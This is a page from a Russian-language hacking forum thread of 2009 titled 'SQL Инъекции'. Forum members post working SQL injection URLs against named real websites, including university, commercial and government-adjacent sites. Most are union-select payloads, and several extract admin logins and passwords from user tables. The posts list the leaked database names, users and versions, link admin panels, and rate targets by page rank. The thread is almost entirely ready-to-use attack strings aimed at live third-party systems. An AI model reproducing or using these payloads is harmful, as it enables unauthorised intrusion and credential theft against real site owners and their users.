SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    [email protected]

    4.1.22-community-ntroot@localhosthagiang
     
  2. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 4
    http://players.union.rpi.edu/shows/shows.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*

    Database Version: 5.0.22-Debian_0ubuntu6.06.3-log
    Database name: players
    User name: [email protected]
     
  3. fraIzer

    fraIzer Member

    Joined:
    27 Jul 2009
    Messages:
    11
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.j-tour.ru/?mod=SiteNews&act=7&id=-1+union+select+1,concat_ws(0x3a,login,PASSWORD),3,%20%204,5,6+from+ssp_AdminSet--+
    Code:
    http://showatelier.ru/?mod=SiteNews&act=7&id=-1+union+select+1,concat_ws(0x3a,login,PASSWORD),3,%20%204,5,6+from+ssp_AdminSet--+
     
  4. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    5.0.51a-24+lenny1-log:[email protected]:nikig_mek
     
    #10284 xa-xa89, 7 Aug 2009
    Last edited: 5 Sep 2009
    1 person likes this.
  5. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    US : http://www.newsdesk.umd.edu [Oracle-Inj]

    PR = -1
    тИЦ = 50

    Code:
    http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+UNION+SELECT+null,to_char%28111%29,to_char%28222%29,to_char%28333%29,to_char%28444%29+FROM+ARTICLEINFO
     
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://pct.edu.vn/tinbmdetail.php?id=-65+union+select+1,2,version(),4,5,6,7,8,9/*
    Database Version: 4.1.20
    Database name: ptth_pct
    User name: ptthpct@localhost
     
  7. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    45-log*swanbe_com@[email protected]*swanbell_com'

    soniagan_sonia@localhostsoniagan_soniagandhiorgdb4.1.22-standard-log
     
  8. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.mangosdancers.com/search-public/sp.php?id=1'+and+substring(version(),1,1)=5/*
    #####################################

    что то типа того же =\
    http://www.colombianconnection.com/search/sp.php?id=1+and+substring(version(),1,1)=4/*

    #####################################
    PR 4

    http://www.wostep.ch/index.php?id=-1'+union+select+1,2,concat_Ws(0x3a,user(),database(),version()),4,5/*&lang=en

    web193@localhost:usr_web193_1:5.0.45
    #####################################
    http://www.kco.unibe.ch/daten_e/suchen/page.php?id=-1'+union+select+1,2,concat_Ws(0x3a,user(),database(),version()),4,5+--+

    [email protected]:studmed_kinderchirurgie:5.0.77-log

    ####################################
    http://www.lepramission.ch/index.php?id=1+and+substring(version(),1,1)=4--

    ####################################
    http://www.qbik.ch/usb/devices/showdevcat.php?id=1+and+substring(version(),1,1)=5--
    ####################################
    http://www.travelclaudine.ch/travel/unknown1.php?id=-1'+union+select+1,concat_Ws(0x3a,user(),database(),version()),3,4,5+--+

    travelclaudine@localhost:travelclaudine:5.1.34
     
    _________________________
    #10288 HAXTA4OK, 7 Aug 2009
    Last edited: 7 Aug 2009
  9. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://knebel.net/index.php?req=view_cat&catid=-14+union+select+1,2,version(),4/*
    Database Version: 5.0.45-community
    Database name: knebel_db1647a
    User name: knebel_us1647a@localhost
     
  10. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Code:
    http://golden-hotel.msk.ru/anapa.php?pid=-1+union+select+version()/*
    
    Code:
    http://www.2r2c.coop/2r2c/index.php?le_num_rub=-3+union+select+concat_ws(0x3a3a,num_admin,login,password),2,3,4,5,6,7+from+admin+limit+1,1+--+
    
     
  11. mr.gr33n

    mr.gr33n Banned

    Joined:
    6 Jul 2009
    Messages:
    47
    Likes Received:
    68
    Reputations:
    6
    Code:
    http://realcoder.com.ru/news.php?id=-5+union+select+1,2,3,concat_ws(0x3a,name,pass),5,6,7+from+users--
    http://realcoder.com.ru/admin.php
    
    реальный кодер йопт ))))
     
    3 people like this.
  12. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    ТИЦ: 130
    PR: 4
    Code:
    http://www.gps-sport.ru/competition/event.php?id=-8+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8--
    
    gpssport:5.1.29-rc:gpssport@localhost
    http://www.gps-sport.ru/admin


    ТИЦ: 110
    PR: 4
    Code:
    http://www.javaportal.ru/books/aboutbook.php?id=-18+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12--
    
    javaport_frum:4.0.27-max-log:[email protected]



    Code:
    http://prodol.ru/vacancy/preview.php?id=-5939+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8,9,10,11--
    
    rvs:5.0.67-log:rvs@localhost
     
    2 people like this.
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://latts.in2p3.fr/siteuk/eq_1_ch.php?Id=1&Ch=-148'+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+

    [email protected]:lattspublic:5.0.67-log
     
    _________________________
  14. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://www.itfdergisi.com/content.php3?id=33+union+select+1,concat(0x2a,version(),database()),3,4,5,6,7,8,9,10,11,12,13


    http://www.cdlgroup.com/showPage.php?page=23+union+select+1,2,3,concat(0x2a,user(),version(),database()),5,6,7,8,9+limit+1,1

    [email protected]_0ubuntu6.06.10-log


    http://www.koleso.ru/index.php?pageId=45+union+select+1,2,3,concat_ws(0x3,version(),database(),user()),5,6,7+limit+1,1

    5.0.45-log koleso koleso@localhost
     
    1 person likes this.
  15. fraIzer

    fraIzer Member

    Joined:
    27 Jul 2009
    Messages:
    11
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth--+
     
    1 person likes this.
  16. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 5
    http://daedalus.caltech.edu/people/peep-info.php?id=-0020+union+select+1,2,3,4,5,version(),7,8,9,0,11/*

    Database Version: 5.0.45
    Database name: atwater
    User name: external@localhost

    ---------------------------------------------------------------------------------------------------------------------------------

    Code:
    http://www.swiss.org.nz/page.php?ID=-73+union+select+1,2,3,version(),5,6,7,8,9,0,1,2,3,4/*
    4.1.22-standard-log

    ---------------------------------------------------------------------------------------------------------------------------------

    PR 5
    Code:
    http://www.aradergalleries.com/catgallery.php?id=-2+union+select+1,password,3,4+from+users/*
    Database Version: 4.1.22-standard
    Database name: arader_gallery
    User name: arader_webuser@localhost
     
    #10296 Skofield, 9 Aug 2009
    Last edited: 9 Aug 2009
    2 people like this.
  17. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    http://www.cse.secs.oakland.edu/job_details.php?id=-25+union+select+1,version(),3,4,5,6,7,8,9--+

    5.0.51a-3ubuntu5.4-log
     
    1 person likes this.
  18. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    27
    Likes Received:
    35
    Reputations:
    4
    PR 5
    PR 5
    PR 4
    PR 4
     
  19. Noizless

    Noizless Member

    Joined:
    26 Jul 2009
    Messages:
    6
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://sebastianhomeier.de/news.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),u ser())/*
    Version: 4.1.22-standard
    Database: adm3414_cms
    User name: adm3414_admin@localhost

    Code:
    http://softsfera.ru/news.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),d atabase(),user())/*
    Version: 5.0.27
    Database: softsfera_1
    User name: softsfera_1@localhost
     
    #10299 Noizless, 9 Aug 2009
    Last edited by a moderator: 9 Aug 2009
    1 person likes this.
  20. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    [email protected]_management

    4.1.15-Debian_1-logusr_web28_1web28@localhost
     
    1 person likes this.
Thread Status:
Not open for further replies.